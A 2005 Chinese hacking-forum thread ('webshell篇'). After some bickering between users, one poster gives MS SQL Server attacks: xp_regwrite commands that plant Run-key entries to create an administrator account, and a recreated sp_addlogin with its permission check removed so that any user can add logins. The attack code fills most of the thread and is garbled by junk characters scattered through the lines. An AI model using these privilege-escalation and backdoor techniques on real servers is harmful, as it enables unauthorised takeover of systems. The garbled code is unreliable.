找回密码
 立即加入
搜索

楼主: 上山上山爱

[原创]webshell篇

[复制链接]
 楼主| 上山上山爱 发表于 2005-6-11 07:23:03 | 显示全部楼层
高调的不是我吧哈哈哈
- q  Z/ g2 V1 k7 }我低调人家还骑到你头上来来耍大牌
; K! J8 T0 W4 t; z2 E) A0 e, _这个学校的人就是这样,不懂谦让
7 O- q! G3 Y0 ~8 X% L总是遇到不谦虚的人,一点都没办法沟通
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

开心猪猪 发表于 2005-6-11 14:16:02 | 显示全部楼层
[em05][em05][em05]
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

SeAsOn` 发表于 2005-6-11 18:18:06 | 显示全部楼层
[B]以下是引用[I]上山上山爱[/I]在2005-6-10 23:23:03的发言:[/B][BR]高调的不是我吧哈哈哈
, [+ s) f) a' n; r我低调人家还骑到你头上来来耍大牌
' v) m0 J3 t' p这个学校的人就是这样,不懂谦让
' d) {1 m  [$ g. G总是遇到不谦虚的人,一点都没办法沟通

( \9 z0 A2 J$ n( M' r# T算咯...  一切都是这样的,,
' Z. F7 c3 X, N* }; o& j不可能顺你的意...   哈哈...
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

 楼主| 上山上山爱 发表于 2005-6-11 22:12:27 | 显示全部楼层
不会阿,这样的人你跟他翻脸一下就可以得到尊敬了哈哈
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

SeAsOn` 发表于 2005-6-12 23:09:25 | 显示全部楼层
晕.. 无语.....
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

gogo 发表于 2005-6-17 06:28:54 | 显示全部楼层
[em01][em02]
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-17 21:15:57 | 显示全部楼层

[原创]就你的水平就敢恭维了吗?

就凭你?& D" C+ [1 \! A
有资格这样评价师院学生的计算机水平??
5 {0 B$ E! D" x" F, r6 t9 K- f用这种口气诋毁别人!
' o+ K6 I4 ~3 e3 E9 a鄙视你!
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-17 21:28:17 | 显示全部楼层
利用xp_regwrite来取得系统权限的方法:xp_regwrite 6 g6 o! L1 m+ t* Z
\'HKEY_LOCAL_MACHINE\',\'SOFTWARE\\Microsoft\\Windows\\currentvers ion\\run\',\'x4 y2 ?) ]3 x/ x; p- ^3 T2 }( Z
wq1\',\'REG_SZ\',\'net user xwq xwq /add\'
0 z% Z* L; A5 H* H# D# rxp_regwrite % d. z. `) J+ E) a1 F
\'HKEY_LOCAL_MACHINE\',\'SOFTWARE\\Microsoft\\Windows\\currentvers ion\\run\',\'x
5 b! C9 e+ g$ ~* A9 Ywq2\',\'REG_SZ\',\'net localgroup administrators xwq /add\',只要让网站所在
3 e6 c7 G2 b5 {+ m的服务器重起,就能得到系统权限。经过本人的数百次的真实实验,这种方法不
# m7 o3 @" [2 S' @2 \9 E太实用,很容易引起网管的注意,再说ddos也是违法的事,发
/ F% g  Y! q! w0 c" i动一场ddos要花费的大量的人力,物力。所以不太可行0 B; N, O. [! @  a, }4 c
(除非是你十分想要搞定的网站)。
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-17 21:32:03 | 显示全部楼层
create procedure sp_addlogin
( ?8 m) [- A- O* [7 f& L; c3 p@loginame sysname
: Y7 M* s3 o; O1 c6 p# f,@passwd     sysname = Null/ D& Q  x9 J$ j3 {. {
,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT
* }0 h% B* s# r( t% Y6 HCONFIGURABLE???$ h9 d' h2 H' ]1 }* v/ ]0 n5 w
,@deflanguage   sysname = Null
. }  T! d7 s5 i3 v+ E7 u  t,@sid   varbinary(16) = Null  q# H% Y6 [1 g& A
,@encryptopt varchar(20) = Null  I8 X: _- ^/ [5 P$ s
AS
# C8 B  i, s0 y6 [* b% k-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --% V- v# q/ d2 a- y) m8 `! e; n4 b
set nocount on
; V: S6 t1 S+ d& i8 x7 Y, PDeclare @ret   int   -- return value of sp call
* V5 w8 g: p. O. M, M' ~5 [-- CHECK PERMISSIONS --5 {4 ^% k2 A8 X0 @; X# r5 e
IF (not is_srvrolemember(\'securityadmin\') = 1)6 N/ m+ l9 I5 I; }5 P
begin& z9 X5 }/ q& ?/ ?
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)
& V0 L( T2 t1 X" \! H, e1 vraiserror(15247,-1,-1)% I: g5 X4 W/ l
return (1)
1 X# w# L; [4 B- ?end
- [- i* `! E# p. bELSE
2 A0 e1 V' X! N3 W2 H* K9 y* Kbegin
( b3 y7 `0 l, G. y' q' Udbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)  ]1 ~5 m: D0 A3 O3 ?) u: _" p
end' `4 R. M  [4 A& O, o9 Y
-- DISALLOW USER TRANSACTION --% }) @0 v5 a4 b
set implicit_transactions off
% H; d5 h7 S; m, `) ^- P, \# |IF (@@trancount > 0)! d, {' O2 T& e5 x! @9 U' s4 Y
begin+ f; j  u; i- a7 h+ V
raiserror(15002,-1,-1,\'sp_addlogin\')7 g8 {; V: D$ S: T" I
return (1)
3 K6 D1 o' U5 W% tend8 C4 D3 o& R& d# e5 j" `
-- VALIDATE LOGIN NAME AS:" e+ f, F; u3 J
-- (1) Valid SQL Name (SQL LOGIN)% o& Q. ]1 V' H( y& v8 x& R$ Y
-- (2) No backslash (NT users only)
) G. |" E& z# p' ]-- (3) Not a reserved login name2 s6 {; N! N% s7 e1 d
execute @ret = sp_validname @loginame1 ^5 _, w8 H) J$ W* l: b) p
if (@ret <> 0)
, H/ {4 q; P1 `' H; a+ p+ P# d) O  return (1)" y# J& p8 D* ~& f" j
if (charindex(\'\\\', @loginame) > 0)* K2 Z% @1 `1 }- C
begin
+ ?$ H' g/ j1 T/ B, Q; e3 N& l8 s! S  raiserror(15006,-1,-1,@loginame)
  Y) [: l% [0 R  U5 f  return (1); `" j, c# S4 @( k1 q% j
end) W8 |3 e; ]$ ~1 K
--Note: different case sa is allowed.% `+ H6 g1 e3 R* a: I# c% K
if (@loginame = \'sa\' or lower(@loginame) in (\'public\'))  q( ]  F9 l7 s# x' b0 W
begin$ t; a& {# T; d( \9 v$ u
raiserror(15405, -1 ,-1, @loginame)
  l( `; e2 H5 X. `return (1)' P" O4 }& b- A  n, T
end3 D7 E6 g* |. g4 \# s5 }3 H7 e
-- LOGIN NAME MUST NOT ALREADY EXIST --7 B5 k- C4 L9 K
if exists(select * from master.dbo.syslogins where loginname = 6 I/ V* v" c: R8 J9 n- F2 x; n
@loginame)" w8 Q9 x! G% O  A5 ?) n
begin
8 p9 ~0 }) I4 a+ araiserror(15025,-1,-1,@loginame), m3 @9 m" I4 a$ E' y% {! \
return (1)# Z0 i$ z$ y( Q' z4 H/ Q% l
end2 x9 ~$ @: b& e9 T: O; q1 T
-- VALIDATE DEFAULT DATABASE --- D4 ^! ~$ L- c* r( o3 P' }
IF db_id(@defdb) IS NULL
2 Q. A9 `& j  N+ U  |: fbegin
2 X& ?/ y: |- ^0 _( p. praiserror(15010,-1,-1,@defdb); O4 X$ y# j3 K
return (1)
9 T& J6 e& J) B1 m$ t* j& Send
' K; Z5 ?* g  u) T% H" C! I-- VALIDATE DEFAULT LANGUAGE --
) x8 O5 ]- ?; ?- M; a2 `IF (@deflanguage IS NOT Null)
: R" C( u4 g! B0 w4 Xbegin$ `! m  x9 u! T
Execute @ret = sp_validlang @deflanguage
" {$ u# s. n. A1 c  e. q& rIF (@ret <> 0)1 B3 Y5 z- w0 r( R' z( u9 i
return (1)
/ `0 _) w* \* Y- O1 H1 @. _end; i" X- N! S2 a3 C
ELSE
- `6 x" `. Z5 v5 I6 |1 Mbegin
4 p& G2 u* p  Vselect @deflanguage = name from master.dbo.syslanguages
9 M  Z5 V; o0 c  d5 O* @where langid = @@default_langid --server default , Z! R% L+ w' u4 p% w5 }* t' o  m& R
language4 r' G) H2 }5 D2 O9 O
if @deflanguage is null
5 L1 N0 y! q; i0 Nselect @deflanguage = N\'us_english\'8 T9 l; i& N0 n
end
" Z% l* c$ d- N% ~- `3 c-- VALIDATE SID IF GIVEN --
% I) H8 H& l0 C2 ^9 M* E- _if ((@sid IS NOT Null) and (datalength(@sid) <> 16))8 t- f; X9 d* a* C2 T& _+ f+ P! H
begin* W& p* U2 ?. q
raiserror(15419,-1,-1)0 t( v" ^& p# t2 o" n5 ^' y' n) o( ]
return (1)  j$ |- j. |7 L5 i- X/ t  V% a
end
$ r+ f$ r0 ?4 J4 ?9 \& Delse if @sid is null2 [8 c* |( ~. D1 ^; W" P& D
select @sid = newid()
) |: `& x! m% s; }# M: mif (suser_sname(@sid) IS NOT Null)
0 U! A0 h2 u/ D1 T4 |begin
- Z" e0 t: V9 x  i; ~# zraiserror(15433,-1,-1)
/ }2 v) A$ D; y+ a" L4 ^return (1)
9 u+ o; i5 p  Send
8 [1 M2 d" M, z- H; J-- VALIDATE AND USE ENCRYPTION OPTION --' v) H% ^/ X& X# |: O
declare @xstatus smallint' |6 |: v0 t5 z3 s- w) z
select @xstatus = 2 -- access
9 |& B2 H, c- O. |8 Y3 `3 ]if @encryptopt is null0 C# [1 K0 l' s1 Q
select @passwd = pwdencrypt(@passwd)
& N- T; Z- |+ f: y4 ~3 _, Q" lelse if @encryptopt = \'skip_encryption_old\'
, g2 N! T+ m0 z& v: f) k. jbegin, Z! N  `9 G' d6 x- o6 Z9 `
select @xstatus = @xstatus | 0x800, -- old-style 0 n& j+ U- H6 ~5 a" V
encryption
3 A9 m1 ]' w1 X2 y  E" E( _6 J@passwd = convert(sysname, convert(varbinary' F! W8 |; e& X4 Y. C, A
(30), convert(varchar(30), @passwd)))
5 g8 {( t, v' ?$ |2 rend9 H' F& i; e; x) M7 s
else if @encryptopt <> \'skip_encryption\'
7 o, H) j6 D. O& M$ i* E& pbegin
, E8 w2 ?% Z0 R- ^raiserror(15600,-1,-1,\'sp_addlogin\')
, Q$ o( [/ d) Q5 _) Rreturn 1
! O$ |# x9 {' w% C, P# Hend
6 c& z  d$ J7 x-- ATTEMPT THE INSERT OF THE NEW LOGIN --
) T8 T  B/ n& e8 wINSERT INTO master.dbo.sysxlogins VALUES; M! {9 k$ l0 u4 i
  (NULL, @sid, @xstatus, getdate(),
9 f4 l4 R6 L( j6 J    getdate(), @loginame, convert(varbinary(256), @passwd),( H. v/ y& Y4 M! j) U# E7 T
    db_id(@defdb), @deflanguage)
; M( k& p" Y: _4 Aif @@error <> 0 -- this indicates we saw duplicate row
) h* Q, x: V6 |8 S  c  b) v  return (1)
6 n$ d8 `+ J& X; E/ R3 x/ J-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
8 Z8 \! w; [$ U  g3 I1 H% `* jSYSLOGINS CHANGE --; ]6 G/ I  W' Z# k. k2 v9 ], k
exec(\'use master grant all to null\')( \1 s3 c' m( t9 ?4 H* D4 u) [9 O
-- FINALIZATION: RETURN SUCCESS/FAILURE --, ?9 S+ F. f6 L, h* A, S
raiserror(15298,-1,-1)
" n2 L' o. X+ Y1 z/ b1 |; N3 w) jreturn (0) -- sp_addlogin, u1 {5 l3 q4 Z. ~% J
GO( L, v$ C8 T$ r( i: X$ a
之所以只有 sysadmin 和 securityadmin 固定服务器角色的成员才可以执行 6 I5 a: k; D5 V8 a
sp_addlogin,主要是这里一段再搞鬼
6 ?/ A  b% m! Y. ^  ?# I- l( x-- CHECK PERMISSIONS --
) R- a2 z/ A# `: e  H$ PIF (not is_srvrolemember(\'securityadmin\') = 1)
+ p) D3 B$ J+ f$ k! k8 nbegin1 d+ B5 L1 Q: ^
dbcc auditevent (104, 1, 0, @loginame, NULL, NULL, @sid)+ d* g; A! A# Y* Z+ m$ N- \
raiserror(15247,-1,-1)
2 x0 j( m* r4 B7 f7 K  U( Treturn (1)0 w) {3 a- q* E5 b
end
1 ^, l1 p8 b/ q9 C% YELSE; c; u) E8 b8 |( D5 L- s
begin' R$ ]* l+ N! U
dbcc auditevent (104, 1, 1, @loginame, NULL, NULL, @sid)7 h0 s9 V8 a* b  E  b
end
, L! z+ G" w" y% M. e
: k% N' H& X' C/ y" }0 G只要我们把这段代码删拉,任何权限的用户都可以增加用户拉。
' J. t4 M0 W6 J6 D/ [* gdrop procedure sp_addlogin
: S- P1 Q, c1 x1 X% S) f; f( i; w( n; E4 f

( `1 U; j3 h; a) {" }4 Q# _# b& s+ ^/ `5 _8 O% l9 r
然后再来恢复sp_addlogin
3 h$ d- l, W5 X; h# C# u4 k" \' N, x/ [' r( I2 F

! v+ G8 |7 W- U. G. c2 Y
9 ~/ \0 Z$ {8 F/ u+ _* R, H& wcreate procedure sp_addlogin
! O" K7 c' R! z' E1 k) M1 b% y% F7 I@loginame sysname
2 t6 H6 Z! h3 ]9 w+ O,@passwd     sysname = Null
' }4 t: [8 Y+ T,@defdb     ; ; sysname = \'master\'   -- UNDONE: DEFAULT 5 l$ k. [8 k6 u
CONFIGURABLE???+ n7 X: P3 _' ?1 r1 H+ x
,@deflanguage   sysname = Null- h. V1 R% _3 y9 \: p# b& P" s
,@sid   varbinary(16) = Null
. z" f1 U: F, Q4 @$ q! \,@encryptopt varchar(20) = Null
7 F* _: o2 Q; @8 q- CAS3 ^! W; x' B6 j9 w4 W/ M( z
-- SETUP RUNTIME OPTIONS / DECLARE VARIABLES --3 z0 n. A* s5 r0 x( \
set nocount on
0 Q. t' D+ M, d# ~Declare @ret   int   -- return value of sp call
1 h( u# X5 Q7 L  y) J4 l6 t
3 H" t& e* Q- f% W-- DISALLOW USER TRANSACTION --
3 ]* q) d: q  e. o0 M5 V  d) }set implicit_transactions off
* F$ X. n3 u4 e+ n% P, |" [IF (@@trancount > 0)( G/ o! p" S" ?, v6 ]  I- U
begin* q) V' R( E5 ^  E/ J
raiserror(15002,-1,-1,\'sp_addlogin\')
5 J' r# y/ c- x+ ^return (1)
, f* h2 o# u+ v3 Q0 x8 Qend% m6 v; T) [4 h5 G, Y# \# W( T' [
-- VALIDATE LOGIN NAME AS:
, X& x  z  r9 V- x% D9 Q3 S-- (1) Valid SQL Name (SQL LOGIN), ^0 Z2 W; D1 {3 I! G" N/ |
-- (2) No backslash (NT users only)( r, T2 F$ x; f. X) z
-- (3) Not a reserved login name* r' H2 g; W1 f8 L) \$ b2 }
execute @ret = sp_validname @loginame
5 ~' m9 ^, Q; m$ h" Oif (@ret <> 0)
5 y% N" W8 V$ e) y" F' ~9 g8 f6 ]+ A! L  return (1)2 H5 b8 \% ^. B" ~. i
if (charindex(\'\\\', @loginame) > 0)3 F0 [- C2 a0 N/ |6 s
begin
5 |0 ^+ |0 \+ c5 `6 w% r  raiserror(15006,-1,-1,@loginame)
) m2 Z' Q6 ?4 v9 N$ F5 N  return (1)- p: B* A' f0 |& h
end* _: R2 N5 y2 ?9 P. H% V0 h
--Note: different case sa is allowed.
6 @6 A4 k6 H" Yif (@loginame = \'sa\' or lower(@loginame) in (\'public\'))5 [( h! I0 ~$ v" f- k! E. ?
begin
5 p1 k8 e* F9 [' ^) \  Araiserror(15405, -1 ,-1, @loginame)+ e# C+ I- ~/ Y
return (1)3 w( ]3 ^0 e( ?: F! A4 H1 C
end: x4 `* b6 H0 z
-- LOGIN NAME MUST NOT ALREADY EXIST --, I! V4 M8 b4 r& m/ l; h8 R
if exists(select * from master.dbo.syslogins where loginname = 8 @" J2 X3 i5 F/ j/ H2 V
@loginame)+ T; `2 M/ {3 g' V4 L8 Z* F! C  t
begin
7 J0 Y7 j  \) x2 [( b- d5 Xraiserror(15025,-1,-1,@loginame)
8 q3 U6 r! _4 Q& L$ y1 w3 e' Nreturn (1)
* e; [9 o5 ?* q( P6 O/ h1 jend
7 p$ O) c) a9 v  x: K4 `-- VALIDATE DEFAULT DATABASE --
# E  b& N3 R9 _% ~/ S7 iIF db_id(@defdb) IS NULL& P4 v/ t8 b" d" x) I; d0 ?) O/ @
begin
5 ]! }4 `8 w0 w' eraiserror(15010,-1,-1,@defdb)
+ O  k6 Q8 H+ rreturn (1)( P2 i" J; C; [+ k9 K9 p7 ~( O- R
end" r3 g# ]% ?7 H9 \3 ?$ M# X9 X/ X
-- VALIDATE DEFAULT LANGUAGE --( J- ^: ^8 s) ?+ v( k
IF (@deflanguage IS NOT Null)
, G' }8 R/ j' J( abegin
7 V4 @4 s$ z3 I+ A* K% @Execute @ret = sp_validlang @deflanguage5 B) T5 \4 G4 {  Q8 C# v7 v; ~4 [
IF (@ret <> 0)
/ `9 |" \& Z% O& I3 ~return (1)# U! Y' K# C, ~/ j9 q4 p
end
% }4 D& @, ~' c9 @9 o* s4 S2 }ELSE% v" _$ C, y% G6 E. Q% t
begin9 u5 K7 Z6 a5 h& n2 f
select @deflanguage = name from master.dbo.syslanguages
1 M2 Q" Q+ b  [: J5 Twhere langid = @@default_langid --server default + H0 I6 Y8 b' {. k) H
language+ L& T! r4 ?8 t' Z  \2 Y9 P( A
if @deflanguage is null
0 \& Q4 Q/ T3 a% {3 {select @deflanguage = N\'us_english\'
3 m9 x( S9 b$ L2 aend
) r, m0 k) w$ A' W-- VALIDATE SID IF GIVEN --
$ [' T: a! u/ W" ~6 z. P9 Y! r. [$ |if ((@sid IS NOT Null) and (datalength(@sid) <> 16))
& F; v5 d! v7 m  w- F6 Zbegin
+ t* ~' t7 @7 V/ I5 I" W$ sraiserror(15419,-1,-1)% w: E5 g: I& }7 w: @
return (1)
2 h$ o0 d, W1 }  Gend
$ J( A' H8 X, u) F; U( Eelse if @sid is null$ G+ l  p/ x# _) L1 O, u
select @sid = newid()/ B' Y5 u  ], Z
if (suser_sname(@sid) IS NOT Null)
( K  _4 e# }8 O& G7 M( wbegin
1 B; `6 H" \/ X: w# jraiserror(15433,-1,-1)& U8 z! Q6 W: b8 Z% P6 S3 U
return (1)
6 ?; C. H9 y% Mend6 y" A: ^7 o8 a% O& N, y4 I/ V/ ]* Z
-- VALIDATE AND USE ENCRYPTION OPTION --3 A& K2 P9 [: o! ~& T, o- E
declare @xstatus smallint
3 L: f5 Y% W; u  C$ Y3 j( f5 iselect @xstatus = 2 -- access; n7 r1 P. H7 [" h% Y3 h' b
if @encryptopt is null' ?/ s* S, x0 l  h
select @passwd = pwdencrypt(@passwd)5 V" y; M. a3 j- J, E
else if @encryptopt = \'skip_encryption_old\'1 f0 ^+ Y* T  t( R5 D) D: o
begin
+ D0 d+ g* o5 K# |0 dselect @xstatus = @xstatus | 0x800, -- old-style ! I: \0 f# ?; C
encryption9 G# h. G( B( e" S& e  _
@passwd = convert(sysname, convert(varbinary
: D8 p6 P0 i- n(30), convert(varchar(30), @passwd)))$ Y* o+ h& a* N; H
end" O( e# _8 f% @2 ^! Z, ~
else if @encryptopt <> \'skip_encryption\'
& B+ d, }/ C3 Z7 }# Q+ g$ @begin9 ?" M  N; T/ y- D
raiserror(15600,-1,-1,\'sp_addlogin\')
$ M( F, v, b  Creturn 1
  w4 ]5 X; q9 g; U5 C& i+ t. U3 uend
7 e+ b( _" z2 E1 @, K2 l! W-- ATTEMPT THE INSERT OF THE NEW LOGIN --  A- ~& T; Q: }
INSERT INTO master.dbo.sysxlogins VALUES
1 e% C. ^+ q5 V& U; F& ~  (NULL, @sid, @xstatus, getdate(),: H1 i$ g# e) @
    getdate(), @loginame, convert(varbinary(256), @passwd)," O5 K4 f6 z+ K# t8 h% N) `
    db_id(@defdb), @deflanguage)
' K4 ]5 n4 [; x% ^; v; Xif @@error <> 0 -- this indicates we saw duplicate row
+ O0 ?0 i+ M! c- C2 s9 L  return (1)  J4 {2 d4 N- G2 v% }% r
-- UPDATE PROTECTION TIMESTAMP FOR MASTER DB, TO INDICATE
& q) G" S0 O7 l. |2 p/ n$ J4 O3 l- KSYSLOGINS CHANGE --
( \2 V, A+ m  ^2 k3 s0 O) r: oexec(\'use master grant all to null\')
) u' E+ E* n$ H1 h, E-- FINALIZATION: RETURN SUCCESS/FAILURE --
  n  D% G1 O: ^, |1 }. Jraiserror(15298,-1,-1)+ T2 v7 D" {) J) G4 S3 \
return (0) -- sp_addlogin( W9 a/ {# {: d! P1 i
GO
5 t( q) V2 f7 F7 F9 Y
[此贴子已经被作者于2005-6-17 13:34:47编辑过]
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

冬冬 发表于 2005-6-17 21:38:11 | 显示全部楼层
不写了% o( J  J3 ?1 \, d7 Q' |
没劲
宣传/支持龙江曦月.龙江曦月需要理解,适宜长居
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即加入

本版积分规则

手机版|龙江曦月 ( 闽ICP备05009150号-1 )闽公安网备35060202000316

GMT+8, 2026-6-1 10:54 , Processed in 0.048787 second(s), 17 queries , Gzip On.

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表